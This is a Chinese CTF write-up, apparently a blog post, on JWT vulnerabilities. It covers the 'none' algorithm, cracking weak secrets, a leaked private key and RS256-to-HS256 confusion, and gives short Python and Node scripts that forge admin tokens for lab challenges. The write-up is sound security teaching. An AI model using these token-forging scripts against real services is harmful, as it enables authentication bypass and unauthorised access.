jwt安全问题

jwt安全问题

jwt简介

JWT的全称是Json Web Token,遵循JSON格式,跨域认证解决方案,声明被存储在客户端,而不是在服务器内存中,服务器不保留任何用户信息,只保留密钥信息,通过使用特定加密算法验证token,通过token验证用户身份,基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt就是可以用来验证身份的东西

jwt组成

格式为:

header.payload.signature

1.png

header

heade部分最常见的两个字段是alg和type,alg指定了token加密使用的算法(最常用的HMAC和RSA算法)。type类型为JWT。

{
	"typ":"JWT",
	"alg":"HS256"
}
payload

payload则为用户数据,如一次登录的过程可能会传递一下数据

{
    "user_role" : "finn",    	//当前登录用户
    "iss": "admin",          	//该JWT的签发者,有些是URL
    "iat": 1573440582,        //签发时间
    "exp": 1573940267,        //过期时间
    "nbf": 1573440582,        //该时间之前不接收处理该Token
    "domain": "example.com",   //面向的用户
    "jti": "dff4214121e83057655e10bd9751d657"   //Token唯一标识
}
signature

这一部分的功能是保护token完整性,生成方式是将header和payload两个部分链接,然后通过Header部分指定的算法,计算签名。计算公式如下:

signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

header和payload部分的编码方式为base64urlencode,base64url编码是不会再末尾填充"=“号,并且将”+“替换成”-“、”/“替换成”_"

潜在漏洞

● 签名未校验

● 算法被篡改

● 敏感信息泄露

● 加密算法不安全

● 伪造密钥(CVE-2018-0114)

空加密算法

JWT支持空加密算法,可以在header中指定alg为None,这样的话,只要把signature设置为空,即不添加singature字段,提交到服务器,任何token都可以通过服务器的验证

格式:header+"."+payload+"."

空加密算法本身是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段设置成none,就可以在payload中构造身份,伪造用户身份。

web346

jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5NzA2MCwiZXhwIjoxNjkzMzA0MjYwLCJuYmYiOjE2OTMyOTcwNjAsInN1YiI6InVzZXIiLCJqdGkiOiIxZWNlMTU0MmRhNWYxNWE1ZDVhZjA5MTFhYjMzOGZiNCJ9.oNpq8ct6U2x6bVlBdg7MtjhtlBuF6KXveFNxFnwBdNE

解密看看:

image-20230829162321891

我们需要将其改为admin

但是这里存在空加密算法,我们直接把算法换为none即可

import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1610432484,
    "exp": 1610439684,
    "nbf": 1610432484,
    "sub": "admin",
    "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
    "alg": "none",
    "typ": "JWT"
}

jwt_token = jwt.encode(token_dict,
                       key='',
                       headers=headers,
                       algorithm="None",
                       )

print(jwt_token)

# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQzMjQ4NCwiZXhwIjoxNjEwNDM5Njg0LCJuYmYiOjE2MTA0MzI0ODQsInN1YiI6ImFkbWluIiwianRpIjoiZWZlYzAyMDVmNjAxYTUzNzg0N2VlMmRkM2ZmYTgxZmYifQ.
密钥爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)
web348
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5MzI5MTMyMSwiZXhwIjoxNjkzMjk4NTIxLCJuYmYiOjE2OTMyOTEzMjEsInN1YiI6InVzZXIiLCJqdGkiOiIxOWJhNDAxOTNjYTRjZTIzNGI1MzIxZDQ4OTgwNzA3MSJ9.ijdyfitTWJEbrOXhQPl5pQkwh--II1jFoV0OY2w7VGo

借助c-jwt-cracker项目:https://github.com/brendan-rius/c-jwt-cracker

image-20230829163619492

敏感信息泄露
web349

私钥泄露了

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

访问/private.key可以获得私钥,所以我们可以根据私钥,生成一个新的jwt token

import jwt

private = open('private.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

修改算法RS256为HS256

(非对称密码–>对称密码)

JWT中最常用的两种算法为HMACRSA

HMAC(HS256):是一种对称加密算法,使用秘密密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。

在这两种算法中都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。更改算法为HS256,即不存在公钥私钥问题,因为HMAC对称密码算法只有一个key

web350

这里公钥泄露了,我们直接修改加密算法为HS256,此时服务端会使用公钥进行校验

import jwt

public = open('public.key', 'r').read()
payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

或者使用nodejs:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值